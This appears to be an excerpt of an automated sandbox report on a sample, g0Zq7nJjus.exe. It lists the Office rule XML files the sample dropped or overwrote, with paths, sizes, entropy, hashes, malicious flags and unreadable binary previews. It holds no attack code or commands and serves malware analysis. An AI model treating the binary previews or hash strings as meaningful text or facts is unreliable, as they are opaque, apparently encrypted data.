Preview:	<?xml.#u.G...2....T.h...uFZ...3...U...#x.._.\....vt!...'.-......=.mK:.....n_f-....v..GK...RC.7...[........7.`.e.d~;...Q.t.Q..Uf..2.......t.FTY......].h.J.8.Wg..5....j..5Vj^..u.\.....................c.}...H.k....&F.t..$c\|+.(.E8.M.f.^.:v....o.?..P.......2.2...)w..kH..%mA.n.=..W.~.......>....L...n.I...&.%...... H......7.I...d..~.E.C.u..#....B...k.....5w.v.......^.8.".E.s........4.s.9@[.E........q....Pke..........n<Y.}..f.T.$.U...?..j....9B}....Z...... .i.[..g..zJ...O.z.+.s32N...X./+g]....f.E.n.#..0.......,....T.=__...v.v.6.....i..f,%t[:..q............../....l..5.....F7.cG..'.QS.O...u}95Z...9G......l.N..3.M..wE.-)7...L.dD...k.l........\|..K.GW....S../.i.....v+u...C.X<..X.%....,.!..w...7...s.Q...0G{B..V}......O.h....o..[...........6-.v.;..>f.p.u..i..i-3.`[....Z.{.4.....TlEZl.._.h...........?Z....K....m......o.<...h.ar.r...1~.....@.\|..e.Ns.E...HIr<...~-;X...1......~'Um..:A(V#=.`@....x..{;S....L..e.g..c.B/-......C..'t...z3...(..+e...J..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700950v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.892012903622743
Encrypted:	false
SSDEEP:	24:WEA9W1yGcvycAMgU6bZdhIEpdVjugVdzwaK754NcvwUg4FOsr/S8jykD4L1ULWfw:EH5CMgJVdnRxVuac54Nc4UPT7uIlD
MD5:	60319DA5B797C01AA2516512BCB138CA
SHA1:	9B9C7E1ECC0E4C4D6BBCF716B36535A3B9B5EF5B
SHA-256:	F8AA119AB28062C3F4ABFBEEAE2373255EA662DB16FDEA0C994E30964B14EF8F
SHA-512:	E6C5A10757B59CBC8495992F4A14C4D00C5E74861AC7B5CDBECB514580B496DECE3DD2C0C7FAF115C28F7C2C4690D227D6457B0BA081E4B0E278CE167929C0C2
Malicious:	false
Preview:	<?xmlp..jU.>M.`.........!7.....O.....vJ.I.,.(...LT.2....E.kxa?.\|V.N.X.......HwJ..n.......61E..aU....M..-..... ..".0.Z\Y..H.[............$1...[.Vyq.H....g.9...}h\...d&.Ph0...<t.\|.ia........F9x.B...P.3..l.7..\x>..p:.....'....)=]...........W..[.Y6..B1Wx.Lc3_.A....0..=.,.2...9i ....a................>._.rZ.<..E. ..{.8..7......ZG.3s14#..b.gr.G..`.. .i.6#.Y....................H.... ..r............M....jF..%...g.l..Nls.:...v.....h........a.~..y....1.f.@.?...~.o...!...7#......R.}V.E..q...U>+.?....3P'h+..9.-.!..y.%...MB.~$....*yJ...4..:..!.h..S.0....^...d..q..t.]....z,V.[.&O8.0H....g...\/j2.,......#`..j.v...w..H.-.......q.....?...-..gGg....Zp`.....y.....qpD%.f....dA.l.l~.F.O.Lp.~.;........fP..`.....'...A....l..gD...!]t...w.m.....NW$iG;....F`>..."..iZfJ{g..d5D...\|..+Wb4}.._..^.U......M......n.U...C.7,[.e....._.4.......f.O@...A.....T..`.....}..f.yh.i.0......a_7....T..G....%....QXK...E..\....$..^._:.K..."........9k.N4.p.....tq.D..od:...(...Rd;..9....cR_.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700951v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.880751329638518
Encrypted:	false
SSDEEP:	48:QGbcuFkFKUKEruQ/4SuazkJvBjOLwtejX+HtLMMn6wD:pbPTEdA2svl4wteT8tLpn6s
MD5:	7956F1315DC67EDABAD435B5BBA46C86
SHA1:	9BB8A563AF556D401F0945D09F451B08FDE27D69
SHA-256:	54311F1AE567DAACADDB122F56FB4AECA9B9647860884FFB5D2F11D9D0914C9A
SHA-512:	3C8B66236FD9785B751ACA9F18BDC6F5B01AA84BE3035324D438F82A0B42821FC5749BB793546E874ABB266665A3667D3F7712A90E46BD871C5722C032824A83
Malicious:	false
Preview:	<?xmlllE...Z.5.......-...=N.I.....p.:.(}+.Q.ll._M.\.\.I.....,{R...0m9..h..q..8..........."..VpI&...............Y...A!..g..L]7......Q..p}.K...m..V.j...."...s.-.lW)..Y.+...-..rj.q..%..!.K.8....Y....l.E..5...l4.D.[.M. .V...z.......p..S...i+..[...n......k.....y..W.....f...cXv..Lf..n..b\|.....0..x.gv.y..%.....nH.i#...j.x\|Y#...^..m...........'....8..K...$0.@.@S\|...L=%..u..4g...E?.%E......r.]"}.).x.lZ.1...ei.."m@~e..T.\|.P..ei.Nr......x..C.(i..]\|....n..4i..M.............mi"..PNq/N.....S+....hc..1..d)H.Y..mC{.....&...BG... .bh.L.A.e;....yM+.;._`...!-..sz#..`A...x.Z9..Oi....h.$...b.d.E.h.5..,R.9....=\|.- [5.+W.2}....Mc.E.5...O.CaW....O.....g.k.... .l.......B..D<v..6..-...r.:..<.K....5j...1!.R.......O0.2!{?.<..$....6.n.........B..{..\|.~B. .q......u..F.PY........}...7..M.....i....m?.^j.<..l..t.~.WKVb..\|...(../.5.....k...b.7w.Y.L?$...2...=...Bg.aN#._".Ag.....c..._. ..Z.f..)...4........[.c..btM.2...N...8...O5..Q.\Z.YU.....S.\|..a.R....R

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701050v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.882174763094967
Encrypted:	false
SSDEEP:	24:+qMklwGIygsYcclr9NNFvyHjEk2ZCn9BvbL02QYie9YjF6LKiUA65rA9m2bD:+qMklD2PNKEF+DnZrYjF3u62D
MD5:	D646EB0DB89386C3D3A63546456B96EB
SHA1:	89D6F124DE6CCA1613854CDC40F5C4F09FFDDF05
SHA-256:	B227F4DCAF780BA761677D05A7C5FCCF5A5C1EF6E4C268A972076A19D90376AA
SHA-512:	4762E5422351BA5D3C184DB1F08B94834067E85E7B87A96C089A17C495188FB52B830EF6BDFE0D8F0EFC2167F21C6E3C9B17FCC82B113222B8FD782A96D1C164
Malicious:	false
Preview:	<?xml....A..f.y..v..\|..^.........2..p.>i..2q.m..%..c.;...../.>I.D.....Jy..4-/HN..#.Z...KqTV.k.XQ.N..._...........4d..Y.U.v..'..........O].~_.........v......).q....'.o.....KX...r...G.0......i...H2<...6....4..=.,.b..\|.p.p.Y.O.}.f. ..&A4pA.P......_3.7=R.lYk"y..].......d..D../...Ed..6$.xrJ...5...O!p]........9T3.#.Y..n.w...2O[..W.E..n.J%.$s..\.@....v..S..P.._..P...M..UU.E;<BaFp.n9YX..).m...<...z.{AqLQ......LM....<P.Mk..O?..&3.. ...Yg...K!y..UUO.n.1,I9.....R.......9.Y_.......n.2_J ..k..*e..F.U.(l29...4.&.6..:[8W-.9...^.u......u.K7.O9..L.n.9....?...)..y[^8...k......CT..\|......?8.W\|...........h.q.=^......"....6.r...V)........}.:(......)TO.$x.....j.{.....3..)Z..dp.].=Ue.7LJ^.h..F....".n....4.@.m..!..Y.{...c.sZ.6..V`...O..-..FJ..+U.BZ...d.L..oy.9..}...3...qW..c..A..A..\|....4=S...&4...#.....}...}\.vgOM...(U..-..%.i....r..q!.v.........>...5......;.@.5._+K..........,.../.Z.....J.....c.....x.\|.T.4..l5i...`.........>.m+.r.-.,.....0..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701051v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.888281324530436
Encrypted:	false
SSDEEP:	48:YlrkBDZt+WU7jEL+1VjwPRoqWVD48gfWNrvpGMWXLFotEeD:Y2BDZtGXz1VjwPRoq98SWBQMW7iJ
MD5:	822FDFA99BEDE371916F98F072D5EFD8
SHA1:	FF639A04B732EEF0BDAF3A68E9744C1847A518B4
SHA-256:	36DD6FC55F01CF16BF1EAEFA4723BBC966A16CB3402FD524C08B43CF08C95FC3
SHA-512:	BAB47E2D4BD18B1DDEDEC58EEC2498D26FE7066817F8007AC044C1B6CB1E6B535EEF9B88CB4FCA9A58C2F6B57F8ADB98C128A9DE56BFB0303BB42BBA445B96A8
Malicious:	false
Preview:	<?xml.m...[_.\|).LC....Fg.}.'.\|.1.vt:.h.......{.....u....@.ckh.BX..R(...t...=.>:\|..pu...Q........Y......$...W+.....g]@.=RC.f....>......x...SR9......+....J....[.p...f...C........(.........".L.T.9.....=.&xG../....}@..P.#^x4...........(^.]!F...".....`.>........<.].../L....0.#...n.l.@....@...P.H.J/....z..T...w.D.2MY.D.v....+........1...5f5 tI...KLqpkD...b..I!..j.~... ..S.7l).5a.R...'.`../.t...i.K.P....e.v_.O.9.Hq.5{.l.s......V....../...n.X..w..T.wq.............Y...DH...Q..{....Y.lt.U.uJ+...ENJ.&.C%H...gOf..G..A......r.].Jk.U....hvs...T&\|....(.Qnh1...6vJ.k...{.},..f..%...-.Nn..a...w).t.`.3..4.N.&x.c.....W:..L.._....np$.. ..B..."..x.+C~...f~(.w-......d..>N.;LM.......!.L.w..N'......sTv..vl....6.b.yoUz..p..M/.X6>.G.U........)._Q...p...az..cp...Sx........8.z..D........ ..=zq.t..Y.]U..."...{....,\|...m9..C...KU2.`..#{...-..Zn..{Q(,t...cM.2.E..5e.E%.-...:.&.e.=.L8...%....]aYjYd\.x...W.i........~l.<....d.w.M\>M.>.qj..U.?..Gl...$?..:Z...y......n[>.E.@.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.513437739227184
Encrypted:	false
SSDEEP:	3072:mFvxDnaCeqoUEsx3NDzPOsRjRoyUTVxtnsAlJ7Fm:mFpa9q55x3N5RoyU/dLo
MD5:	F6E83DF8436E90A8D9D961BF87F188FC
SHA1:	89489459CBD49DF4E131588F7EF16CA217782B4A
SHA-256:	EC34846DC3FEAA0A1C16D210A57E5E5010D04B96E8309A550308D9ACB4A4FE0D
SHA-512:	7FBAE0A466A965CE2A94AEA8805754E030F374577132DC5EF50AD54FB91F0A4DF54B2D874B89146520BD4490B9DC990D55C08998006009B305BE74B7491DC5CF
Malicious:	false
Preview:	<Rule,...@..g..H.......>...+......6..W....d. .~9.aM$N(.d.fS..Ox...e.....W@..l,..j....L...t{....K9.JO...}X.<P'....U.D...).]5z.%E.p.!.I.)1..p..]s.5.I.(...$.+P...!..~.d.i..o...km....s...a.C<...=...N..3S.Djm......E...Z..2.j@#..........a.......7=......Y....G.s9q..b.v...3...V.qf..3y:]...zL..@.L.V..RxA.^d.....3.....{..K..e.$:.N2.,..}L..WM.akO.ZgY...I.$......NH...N.....0..ne>...<..3`...&....7...(.}.f.9.Q."...t...fq.T...7.."......E.}.ih.C..S1...).....P_#.......\~.{....98....u:%G.\..0.CDY....s..P.w....5'h....&..k...].{3q.aO...J....{..3.Ng...v.5-2......{=...U.i.I...e.>R...b1...Y...Y..e."..KL+...mrD....G.Fr.M.9?]..9....z..e\|4.je.p...OvcK.U.a..........w.;.o..c9J.s.Q..6V....v..%w..8z..6...i. ...(........Bo...}.T.....D.mA\|...Y:n.. '.:c.J..Q.....R'..;w8.>....W.rKw....,....f..#8'..6..CT..P_..^j6.T...S.0...?.\|..8'-b2..w$.P.I..>.QB..I..bD..4&.).==W..G......(....-...8..U^8H_..e2P4Q.B.Z...I........)..k..T.....V*#.~)...]...\.R.'.....w.@K7..9...=8.m.m.I....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230169v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	7735
Entropy (8bit):	7.977082636355694
Encrypted:	false
SSDEEP:	192:PyTLfdzMvo4sJBQv9daXGzF8Joe628uT55kaws/Ls:qn1ovjsJBQv9dXmT15k/As
MD5:	40EFBD4E53FDBBAB605EFBF1D0171631
SHA1:	84F1525816AC73D7926F58A87029D5B71ED296F7
SHA-256:	3049F39A80120BCE7BD403730931FA39A66CFCB12C716C4CD0126B9A83EE9614
SHA-512:	CA033C094BD7E58D76961C42625B703069872AFB39CC96CE0A806A63113C465BA2189159F398FD3F0B7F4C7C9985565357705D21934E5E081FC381260D2727FD
Malicious:	false
Preview:	<?xml.G.@.d0 ...}...u.....TB..."..q....ng..U..zx....=,0b{...s.)......]zE...=............i..hK.~.Ft.o6:..pi7..i.(.....F.T.m.e.`.w....)vJ2]......d...K.U..^....q\|......07O.1....S..Eh..r...s/U..?...- ..C`^x`+......z.....)p.$2.].#.2..kcv].=......&.........\`q..u......._..n7Y.6.......?~.,....3pl.N....:G.@s.q..9w......<=..c..QU...d(.t_\|m.....%Q`..[..k.R.e.'H.Kh}..==.eF...J._.....Y.m....4.Jr....i..H...;!.. @...tV.4.0}.y~.\..Y.t......U\|....R...}.n...E....!......2./.l...=.?S...;..AA..t..%..'..V.sg...k.$S.S@.!...Y..i...~..._^..W...}.p.q....o.-..... I...=.aed....+..3o1L..s:....Y....gM......1k.........f..%.%..r..\.../.6.q..Qb.j.e...m...bFg./8..uO...D.I-R.w..K...d.$r],m.5].j.+...l17.(lO<.U.Q...Y.p.....3...=8....%#..S...xa.s..0.y...7w...=...E5Y,GB~.z}.......~c<......i..'.H...Ch.}.)1.t8.oFd(.s..$._......#6w<{.--..5j....A.78.p.c2\.u.f.....1.%R...nH3.-...iLT.Xi)...j..\|Qk.M#.._...W..X.[....h.../#.\|.....,~p.....z.2....Ti.w.....Z.M.Tr.1..$....B.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230170v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	23958
Entropy (8bit):	7.991767399250784
Encrypted:	true
SSDEEP:	384:MzbA3KzoqVovtmuOVWMeImJ1MIw6F44EQBqZVa5GQrmXsWHMlP+J8KMetcDEm1XH:MzbQKzoqV44VWMTW1MIw6F4/za5GQV2M
MD5:	E09B3FA789B4F92F17DAB0A2C4687A4D
SHA1:	1A81393E13682BEC07C2C2B2385DBA03B85FD227
SHA-256:	5B0207E3B1282122E997AE8A3D0A73E59A52421A2CD771CC4E325D8A67DAEEAE
SHA-512:	F1BE01EFBDA29A31F63B238F5C2B60FDDDA662E9CAFD3D4A6293473ED4283E0A02B4B7C8173EDC517B738B6387477D36BC4F90E4B14791EF1E2082CBB7A3BB62
Malicious:	true
Preview:	<?xml..D...(;.$.~.-.....%......2..........7.;.?.L..!.<o.d.pw;.......... Ql.v..S)L....6......J..zm..'.w...M<.e..l...r.m.]1..f.1./.R(....@.....>Q=p....f..N.0..r...K5..$.?..G..%?o..+.z..X..JR.lv.....2....6F..Wt..8....R.1'....;.F........#.y<.O@.fE.ez.......N.....[.<.....m..(.M.5..8#h....`.Ue.<8...O^v.tb?w...Kn.~....O.`.......1}..r...,..".i......^^P......S.s..\|..s+]^m`..:..H...t...z.V.'N..52Zl.3.o......].w.Z..@I....s#..R.1].S/...%.5..%...I..t.....7.....\|.......5..zo....X.y.sD\.f.D.b....3..Q.h...`.j.=[..Q....."5Ks...:.Fp<..._..QZ........X...rL......,r.1..E.3.9F.4f...!..CZ..f.............y xQ.a..~...Z@E.m?.!.\|c...6....1PTk.Sq.B..4.hx.M..<.`...v.. .{.:...U.].. .e..gq.#...2.G..g..../U.....a....VW......:..JE%.h...GG.].w..d]...D~[.A.n......X.R...=.y....f.q..g.>Qm.....j.j.;...tZ.\...c7,..........k....B..Q...gm+.iS...3.i....."..xq..P.. {Wvir;..x...d3....7.h}w.V..k..9...K.......,1Xx..U.^.0..G..n@DL......#X}P.I..y7I._k.0.h..'G..EC.....+bEn$..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230171v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1767
Entropy (8bit):	7.8956180146019035
Encrypted:	false
SSDEEP:	24:WnzIf/nV14DSvMem+kmx1Rb4FaEuK71b60dOvKr1a2MNZhL8+ZMbMEsjT8Z9PLKY:ZdJUkl1Gj7kOO7NdZMb/sjYZpLKtOD
MD5:	660BE8C85839E795596BAA5D4A89041B
SHA1:	5BD547A8F5BFAC8338618B6BDD80EBDDDE071375
SHA-256:	D17DADF247EC47011829B64E4F5656DADDD705F78E7FE28000C01BD2BB32DECF
SHA-512:	404F71E1BF86C7B635EDD3B5DCF8A826272B088053608EF24590F582C09EA14E020C68C627200F59A5511EF0D46FF947EBA23054AF9DAA32C223415A52CA31E3
Malicious:	false
Preview:	<?xml.Rh.(...J._Fr.R!e.^Hv4.......(...M..e%{..g1.H0.0..N8.........cEE.c7\EME...G.m..?.c.Z...AjX...F..M..l..Z........J.....C..8.B.p....n.O...._C.4.Q..N.....Sk`/c./.Z...x.r7 ......../..L._.k{P.S:4R...y.Wg...c..b.6W..-...I..gdi.....5G.Wy....[..4.....t.V..C.%.pF....Z............T....@.;.R......?.YB2...G..J.NM....p...{./'.>,...k9.q.0..$G.dM.........e.>..i.....F%].....B..9Q.:.~.....?.Pi.f=qV..m..AN&.RH....q.....k.(.{{.e.......mq..\.}. Z...H.#.p..[c.Y.^G_..5fc.A..8......B...-.3...Z...U.VH.yP..lm.....:b..]t.2.5...`._.=iC...q.Lq..F..;Z.\|<..p{.....z1...t....".mD./+.j)..#.Q.j.e."\|.^.....X.9....tzX\.D.+........)c.0.f..........2.jG{..D.:'.B.B..n.5.!U.qw.R.u6A.j.@...dD..".w'...`1.............Y. }.cC)..c...n....vScN,;.G..F...R$.. u._..*g.....\|.&.....b.v..w..s......J..........D.K]..J3..4w..nH=p..{...%u...=..Ku.........>...F.....}o.o.c(.#,/..8..p73..4..t.c..\\?.]%............a......0{...;!N....0.5...R.vV.YG.u...J.$.6L..).......^..$.Y~...+`..Z.p....{

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230172v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	31744
Entropy (8bit):	7.993632706354322
Encrypted:	true
SSDEEP:	768:0vUbkUCesBMf0LXG2B4E0QJwjJyUWL83byK/QKQjmd/G5OBl:kxFYyXH9jeJc83bb/QKQ6JGCl
MD5:	113AA9D5504A2D504F57569134E4D06B
SHA1:	674543C8085DA4D98F187F254049DD07FEAA6468
SHA-256:	D1F78EADD7DAFF060142C6C4039D9C546689A4776CCA7CC6438EBF28A15AD0BE
SHA-512:	E81D5E2C88D03FB07BF2050EC7AE3F738754CB1338F8A2F2101AE02878C7BE02DCA1405AA9819B79DAD8F331B48EB435BDBD509BD8CB947EB7663BE2F0D7BB21
Malicious:	true
Preview:	<?xml6$3T.. (.e.../...........rv.}]}.Q.........M..s.....o.(._...y....sG}.I........^\|c........rE.n\|.m..@ .z9?....vV.?...k!b......:+,.&.C...}.6...kiz...B....ez.......h...5..iO3=OF.z1Pw..?.f..W.WG.l'..@.S.p!..e.x...Pb..V.....`.5.I.........i..A..\|{....h..dw.P..O..4..q.1...r.RP..'+.6rGu......).J....MV..F.P.^8e1...Sf..D..E.....@qH.........(.u..$..gb.T{".....@.$....h.c......(V....;...&..0...".&f....I....T..i..?%........O.s4-..")^...@`C..~.2l.5.C........i.k.....l.....Yz[O^...h...x..U.R...D.Oo..)..!..\.......C..((Y....MAR.k2..0R.@......!<I!s..(......dVs.yl#c?2..Or.s.z.....9.{A..['L.V.x.o.+....aVU..{.m.........y.Q..Z.Q.l:....h...)f.W~.q..e.B.E..D.W`.....\|r.........1...y..4...h...9.cHm......T...[.a......G......p.k.._.#.3....@'u....,.7..?...b...Ys......bLb?j.;.....r...9.~n.(n..w.5....Sp..l-.".....jDW9R.[.2.Y..jI.....r...uT47........G....H.Z.^.r."[.....<.T.)...2V&.J....:..D.=.(7...xv..i..\|...h..f..l.?.+..r..K.z.v._q....n..X.1.0..\|;..[%=fN

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230173v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	6372
Entropy (8bit):	7.970370632664051
Encrypted:	false
SSDEEP:	192:i0pFeK09Qdr/uB8bavabYXB3OubA8cTxKH:V6KnnmvtB3jpcdU
MD5:	6508BD7CE562D9AFF1FCE1D925E1C7B9
SHA1:	A7FB1F1494034BD38B2B0E762479B5609E357CF1
SHA-256:	7B162C34DAB989F1E07F5508A991DEC9B176C1E6D862A67E3D5047B453CE9B6D
SHA-512:	5DDB9AF089B825ADE91D5EF2D630F6F229CE576A347EEB58B55AD75A4980C07D1D968199E728D26204BDED63BD02C88250E1BECA4BD49AFFB5A7CE26E300C991
Malicious:	false
Preview:	<?xmlZ4.{.Isd4jO....uq4.t.d...A9....<....Ko....F......).R...B..B...G..Z8.FTr..-...u..n.....l.I?...s.A..H.T'......!.~vPS..a6.R....C~....a.?3(.....p.K. yAO.a?..N......8....&=....C.._.EWY8..&0.5......J...5..B@.....E0'L..-.>...S..:5....9s......(.+..f...(i.....r).p~...G...8V...x;..h..n...{f@..,x....W.........[.u.3...".'~.J.O.3GWp..Z..yB.D..N...zt........@.0...._....k.}..`.......j...~......K.s ..../u.d..}{.SN.N.-'..,\|.E.~.......(_..'i.3..d...!...9..R.......:b"...S}.....M..9.;1[.;.6.o#...=.R...J..I.( ........6.iP.!./....tZ.YpS..@...5J.:.7...[...6....;....h9..m.A.....j..i..).(VY..K.<..W..w.1.........g......h..7^.R..s...v.5....&....p...j.^...rq.....x%z.....a...$....VYO<..b.M.F+......../SU.E.vt..)..$( f.....R.....;N..T;..}dcj..).E......s.]..LJRW.K[.jl)`.`.f..x>.N<5.u.....e..u.X..X&.0.(8..;./........o......Q..+3i.(j..u...tXV...O...N..@..........RM.!...4K...E..t.O...r..`.@..I\|..u.Z.#O....#...../m.9...C.6.=^.\|.JJ..%x...LX.s...O....Hev..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230174v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2482
Entropy (8bit):	7.913989227787006
Encrypted:	false
SSDEEP:	48:P8xregUJheVXJM5+3wf/9axO02g4coW+Qk6UYyN1WCQQVdGMv/wkFLfXFwD:ege3M57f/9afT+Qksy+C9dRtfi
MD5:	5EFF1EBEF39BB31595A98F97BC37ACE4
SHA1:	FF344EC6EB31D488828D230158FD59CE0E8051E7
SHA-256:	A4477C16585BBCF566F196631F8ED5E4BAF850F7AA92A8793E783880A3FBF02E
SHA-512:	87717E43CF06E24DF248C3CCCD6A4C4A3AF871700FAA0E3C54468467FC5B44F123D8AE34CB7F067495685E8CA97627A531F919DBF3A5D3569F73FF26B955F6AA
Malicious:	false
Preview:	<?xml..z..4?_p.z'W.........q.Z..i.....@.-l.'..x ............C/.`.R.c3N[...S.@.&.)....iq..r..Qb.D.m.Pa.x.DI.j=.... _..hk....{"...,...x.rf....v..5w3;(v\#.5.b..........-s.....vm."...T...E(.kK..E.PV.E..b.W..m.8[K....L.[S.@=...I.......6........z.<AN.QL......u`.\|.._L)..K......Q....('....5.=R....zfvZX......>.4.......s~.....B.....w....\.,.U...e..l}......c.......h..".d...jI.W.E.4jI.......?.".....p...a...IP.U.,]..V..nns....@......F.=....y.?w..m\............R..=..<pLoGq....DW\|t.S....I..7..D...T..M.....6..L....W......qI.Vs..jX/.q...&U.......@V......y..D.._U.l...(..Q......5.D.6:\|...6./..}............%........z.1...^k....i.5K;b..f...%A....F..`d......')......t,O"{.N."?k....-D....:..an5sQ:.W..n."..-....=.w.E.m>.0.....6.D...w.n......i6.)$..#...ZG......[..OT......n.....L1..`.......P2..U.pI..]`..!..j.N.x..z.=.u_...BV.kT{.L...H..t....y..j..Gw.j.....jwyG.............=.,"..R..c.~&.u.....C..l.FT....M!l.rig..^Y.:.&....s4..1.A*F1K..N.6T.......7\n.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230200v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1803
Entropy (8bit):	7.888178058262257
Encrypted:	false
SSDEEP:	48:6t0JhSnC2qHRRaijJZhyVRkQ0Kl0vKfl+roZoD:nhSnCHdjHU0vk+rV
MD5:	F2B8237AA928B6A6F094784EBB2797A0
SHA1:	E18255D8935E2CEC8D07F7A2DBBE9ED3F3F6EE6D
SHA-256:	FBE0654654AB22C04E91C1C733560336D6A91041A6E819E630B37EE36CEA824A
SHA-512:	E4B3B87F6B890D5A6E1A737CC6DA1063FC2A7DAC3A1CF9C04E7DBBC23C76FF37080DB93C888F3B22544A5778B4FD297A15DD0EBD7DFAF4505638899D1BB169AF
Malicious:	false
Preview:	<?xmlt....6.v6......"j"A..Vq:...-.. .......cG<.d_.2....P}...8l.Z.}\.0..n...c...l..0..b..x.......i\o."R[\.gxr...#.a.F...4..........PC/R .'.E.2...Ve....Iu....K..........l.....l..#M[$m..(bu1..>.7c).N....p./.{....K.....<.?, ...eT.......F...3.(.;........b........K.\^.,..ga.i.s.O.0".b..mI...~.=.....3..M...G..l..c..Y........n..8..5<$...M.\|.,.:1s<.C.[K.^...]9.....\....!..8.1.;.gJ3...xFA....d._....S..?@.<,.p9;...q``.;."...J.".t..S_.-O.<...!.........`..g@..!.J.)..+D.FA..@.Km..M./Y..?.....[0..#...)K...,^x../.....S..Y.=.5...K .X>....v..V...+.r.M.m...K..N<l ~.....-....-nHSK..t...@...6A.L.i.V_.;.....u...^TZn..+...THp.nF.a....&y...e..N.:.1\...0t.1.X...S.Zv,...C.A.l.....5.\|....f....J($f..v....M)..]<.I2....m.. ..a\|&.X3-...03e._..F...;s...#.P;..jF2>.!.$u&...^.g.3"<EK...`.t.q.lO(....qT...Z.D...pW(S..........Z......H..m.......i...r?u...6p...-..7T...N<U...a9...e...HRS..?V.U......d/.le......`}..;.I.N...!......a~P.X.J{4!&S~..Zo>..x..Q..{\k..i.\...e....@..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700000v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2037
Entropy (8bit):	7.913717603941046
Encrypted:	false
SSDEEP:	48:TtOWPsL6mS8A12ge1fZmBF5fp1SCmoNkJNWVJOAD:JOT8xwhvgFBPSCPCnWVr
MD5:	47242FF32B9563AB00B8D52980F187A6
SHA1:	7D33862D1A088E741CFDC8376DA1CA560E2DAF1C
SHA-256:	15297A4A3618D3FA34E33D65F017AB53C8ABECACCF0CEAD7AB5D7FC446304A0C
SHA-512:	1517BBACFBD6F814E0F71FDC91DC7B29065AB17CECD2C9400A64FB0060B8D22715EC2C9D7A9E21B06F87B1803FF78D48DA6E08A3F6A0438B8DCB9DD33A601116
Malicious:	false
Preview:	<?xmlW.KMFU.l..l...,.'.EBw..`..ab..............Y../...4m..."?...YP........Q.EC,..5.....3.#].\<y.Y............UY....0.5....3m.....T..J8Z<.9...e..]...E...P..7....0.,.....~U...%MSP._.+~K^..1.T.A...._.....,......,.r\|t..+.wd.q..{.,o...`%.x.........F.!..g.~v.J}m......m.<.......&...'.U...%9<..d.KK..,..... .3.F=.I.........y...4g.B.a53q..5.DY;.5...:...P............ro...._..Zfr..TX.l..'..........gr....F...E\7XF..R]....../.$..9...{f.<.c..p43..T.....@.-0...T......M.2?k.,.j!....Q.s..bg...x<.....=.=t.......@........]...$..d.d..>.(.#N.Cf:.(l....l.K.....M.U..H..]1....6.....A6..m..x....Dv@.G..>MM.....S>...uR..s.?...c>.....J(\(....YcO,.s..O...4-....qY...,S....mf...m`mV...]..!..r.$.D.7.5?.\..W.....5Gl....Cto.q..h3..f<...2@.......e.....B..$>.8..R...p.9d0...H.O..s.......N..L.[3..FI"..mF.c..:m............(..\..>$..*.TK..f..q......s.....9x.5..!..kG..F..;33...@.3.K.I4..&..F.....s....^S`:..C....y..ud..R..n...r.K.{p..D.B2((w].w...A.....c(.2.X..).?N...G.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700001v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2074
Entropy (8bit):	7.890588340428356
Encrypted:	false
SSDEEP:	48:goVHdpRD4QMXU8kng8tgfAu2n8z+s4hANb75XF6S+2D:H9zTMkexfA3n8z+FANvy4
MD5:	023FE9ACE20C0FBA12CD585BE724A721
SHA1:	EAB8A8FF48B3E584E34C7A32E3D3DD3F8D717A23
SHA-256:	001D9D76124B993C2722031469EFA190AA1E6DD22C59538F13ED5CE3BFA9BB37
SHA-512:	F35CC975C028D628759C894B3CC268FE24B4E0C3BFF6EDF34E8D274A5D832D91A42BE6673BA0A2E3748A6C0A1EE4C40F27A54DBE44E9C27127174C62FDAD451E
Malicious:	false
